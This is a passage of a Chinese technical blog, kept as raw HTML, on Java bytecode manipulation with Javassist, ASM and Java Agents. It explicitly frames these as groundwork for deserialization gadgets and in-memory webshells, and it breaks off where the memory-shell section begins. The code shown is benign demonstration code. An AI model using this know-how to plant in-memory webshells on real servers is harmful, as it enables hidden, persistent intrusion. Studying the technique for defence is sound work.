Lcom/rhythm7/Main;}SourceFile: <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Main.java&#34;</span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//类名</span></p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">访问标识如下表</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="0.4524421593830334" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="png" data-w="778" src="https://wechat2rss.xlab.app/img-proxy/?k=6725ac6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9f98tvdic1z1iaDeGjkLCR83JhFABpYINegDibnwheIPmHlsBtbw952WBA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20230727143748956.png</figcaption></figure><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">字段类型如下表</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img data-ratio="1.0188235294117647" style="vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;width: auto;" data-type="png" data-w="425" src="https://wechat2rss.xlab.app/img-proxy/?k=5858c464&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9gUwYK6GfUgFEkHUUsLPHr4gse7tJEI3qHeWflOEOUqIwxiawGMaJK6g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20230727144315979.png</figcaption></figure><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">javassist</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;test.Rectangle&#34;</span>);cc.setSuperclass(pool.get(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;test.Point&#34;</span>));cc.writeFile();</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">反序列化gadget中使用，将我们打过去的字节码还原成类然后给classloader用于实例化</p><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ASM</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">对于需要手动操纵字节码的需求，可以使用ASM，它可以直接生产 .class字节码文件,也可以在类被加载入JVM之前动态修改类行为,但是程序开始运行以后无法修改，只能用java agnet注入的方式修改</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">ASM Core API可以类比解析XML文件中的SAX方式，不需要把这个类的整个结构读取进来，就可以用流式的方法来处理字节码文件</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">演示类</p><pre style="font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 4px 2px;color: rgb(30, 107, 184);background: rgb(40, 44, 52);border-radius: 5px;margin-right: 2px;margin-left: 2px;word-break: break-all;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Base</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">process</span><span style="line-height: 26px;">()</span></span>{        System.out.println(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;process&#34;</span>);    }}</p></pre><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">ASM</p><pre style="font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 4px 2px;color: rgb(30, 107, 184);background: rgb(40, 44, 52);border-radius: 5px;margin-right: 2px;margin-left: 2px;word-break: break-all;"><span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.objectweb.asm.ClassReader;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.objectweb.asm.ClassVisitor;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.objectweb.asm.ClassWriter;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Generator</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">throws</span> Exception </span>{  <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//读取</span>        ClassReader classReader = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> ClassReader(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;meituan/bytecode/asm/Base&#34;</span>);        ClassWriter classWriter = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> ClassWriter(ClassWriter.COMPUTE_MAXS);        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//处理</span>        ClassVisitor classVisitor = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyClassVisitor(classWriter);        classReader.accept(classVisitor, ClassReader.SKIP_DEBUG);        <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = classWriter.toByteArray();        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//输出</span>        File f = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> File(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;operation-server/target/classes/meituan/bytecode/asm/Base.class&#34;</span>);        FileOutputStream fout = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> FileOutputStream(f);        fout.write(data);        fout.close();        System.out.println(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;now generator cc success!!!!!&#34;</span>);    }}<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.objectweb.asm.ClassVisitor;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.objectweb.asm.MethodVisitor;<span style="color: rgb(198, 120, 221);line-height: 26px;">import</span> org.objectweb.asm.Opcodes;<span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyClassVisitor</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">extends</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">ClassVisitor</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">implements</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Opcodes</span> </span>{    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyClassVisitor</span><span style="line-height: 26px;">(ClassVisitor cv)</span> </span>{        <span style="color: rgb(198, 120, 221);line-height: 26px;">super</span>(ASM5, cv);    }    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">visit</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> version, <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> access, String name, String signature,                      String superName, String[] interfaces)</span> </span>{        cv.visit(version, access, name, signature, superName, interfaces);    }    <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> MethodVisitor <span style="color: rgb(97, 174, 238);line-height: 26px;">visitMethod</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> access, String name, String desc, String signature, String[] exceptions)</span> </span>{        MethodVisitor mv = cv.visitMethod(access, name, desc, signature,                exceptions);        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//Base类中有两个方法：无参构造以及process方法，这里不增强构造方法</span>        <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (!name.equals(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&lt;init&gt;&#34;</span>) &amp;&amp; mv != <span style="color: rgb(198, 120, 221);line-height: 26px;">null</span>) {            mv = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyMethodVisitor(mv);        }        <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span> mv;    }    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MyMethodVisitor</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">extends</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">MethodVisitor</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">implements</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Opcodes</span> </span>{        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">MyMethodVisitor</span><span style="line-height: 26px;">(MethodVisitor mv)</span> </span>{            <span style="color: rgb(198, 120, 221);line-height: 26px;">super</span>(Opcodes.ASM5, mv);        }        <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">visitCode</span><span style="line-height: 26px;">()</span> </span>{            <span style="color: rgb(198, 120, 221);line-height: 26px;">super</span>.visitCode();            mv.visitFieldInsn(GETSTATIC, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;java/lang/System&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;out&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Ljava/io/PrintStream;&#34;</span>);            mv.visitLdcInsn(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;start&#34;</span>);            mv.visitMethodInsn(INVOKEVIRTUAL, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;java/io/PrintStream&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;println&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;(Ljava/lang/String;)V&#34;</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">false</span>);        }        <span style="color: rgb(97, 174, 238);line-height: 26px;">@Override</span>        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">visitInsn</span><span style="line-height: 26px;">(<span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> opcode)</span> </span>{            <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> ((opcode &gt;= Opcodes.IRETURN &amp;&amp; opcode &lt;= Opcodes.RETURN)                    || opcode == Opcodes.ATHROW) {                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//方法在返回之前，打印&#34;end&#34;</span>                mv.visitFieldInsn(GETSTATIC, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;java/lang/System&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;out&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Ljava/io/PrintStream;&#34;</span>);                mv.visitLdcInsn(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;end&#34;</span>);                mv.visitMethodInsn(INVOKEVIRTUAL, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;java/io/PrintStream&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;println&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;(Ljava/lang/String;)V&#34;</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">false</span>);            }            mv.visitInsn(opcode);        }    }}</p></pre></div></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">ClassReader：用于读取已经编译好的.class文件</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">ClassWriter：用于重新构建编译后的类，如修改类名、属性以及方法，也可以生成新的类的字节码文件</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">各种Visitor类：如上所述，CoreAPI根据字节码从上到下依次处理，对于字节码文件中不同的区域有不同的Visitor，比如用于访问方法的MethodVisitor、用于访问类变量的FieldVisitor、用于访问注解的AnnotationVisitor等</p></li></ul><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">ASM Tree API可以类比解析XML文件中的DOM方式，把整个类的结构读取到内存中</p></div></li></ul><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ASM指令工具</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ASM ByteCode Outline</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">安装后，右键选择“Show Bytecode Outline”，在新标签页中选择“ASMified”这个tab,就可以看到这个类中的代码对应的ASM写法</p><h3 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JAVA Agent</h3><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">VMTI (JVM Tool Interface)是Java虚拟机对外提供的Native编程接口，通过JVMTI，外部进程可以获取到运行时JVM的诸多信息，比如线程、GC等。Agent是一个运行在目标JVM的特定程序，它的职责是负责从目标JVM中获取数据，然后将数据传递给外部进程。加载Agent的时机可以是目标JVM启动之时，也可以是在目标JVM运行时进行加载</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">JVMTI是一套Native接口，可以使用Java的Instrumentation接口(java.lang.instrument)来编写Agent</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">有权限启动jar，在目标JVM启动时加载</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">[<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>] <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">premain</span><span style="line-height: 26px;">(String agentArgs, Instrumentation inst)</span></span>;[<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>] <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">premain</span><span style="line-height: 26px;">(String agentArgs)</span></span>;</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在目标JVM运行时加载Agent</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">[1] public static void agentmain(String agentArgs, Instrumentation inst);[2] public static void agentmain(String agentArgs);</p></pre><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Agent需要打包成一个jar包，在ManiFest属性中指定“Premain-Class”或者“Agent-Class”：</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">Premain-Class: classAgent-Class: class</p></pre><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">挂载到目标JVM</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">将编写的Agent打成jar包后，就可以挂载到目标JVM上去了。如果选择在目标JVM启动时加载Agent，则可以使用 “-javaagent:[=]“</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用com.sun.tools.attach.VirtualMachine进行动态挂载Agent</p></li></ul></ul><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">java agent内存马</h4><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Instrumentation接口</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="http://itmyhome.com/java-api/java/lang/instrument/Instrumentation.html" target="_blank">http://itmyhome.com/java-api/java/lang/instrument/Instrumentation.html</a> 接口文档</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">interface</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">Instrumentation</span></span>{    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//添加ClassFileTransformer</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">addTransformer</span><span style="line-height: 26px;">(ClassFileTransformer transformer, <span style="color: rgb(198, 120, 221);line-height: 26px;">boolean</span> canRetransform)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//添加ClassFileTransformer</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">addTransformer</span><span style="line-height: 26px;">(ClassFileTransformer transformer)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//移除ClassFileTransformer</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">boolean</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">removeTransformer</span><span style="line-height: 26px;">(ClassFileTransformer transformer)</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//是否可以被重新定义</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">boolean</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">isRetransformClassesSupported</span><span style="line-height: 26px;">()</span></span>;    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//重新定义Class文件</span>    <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 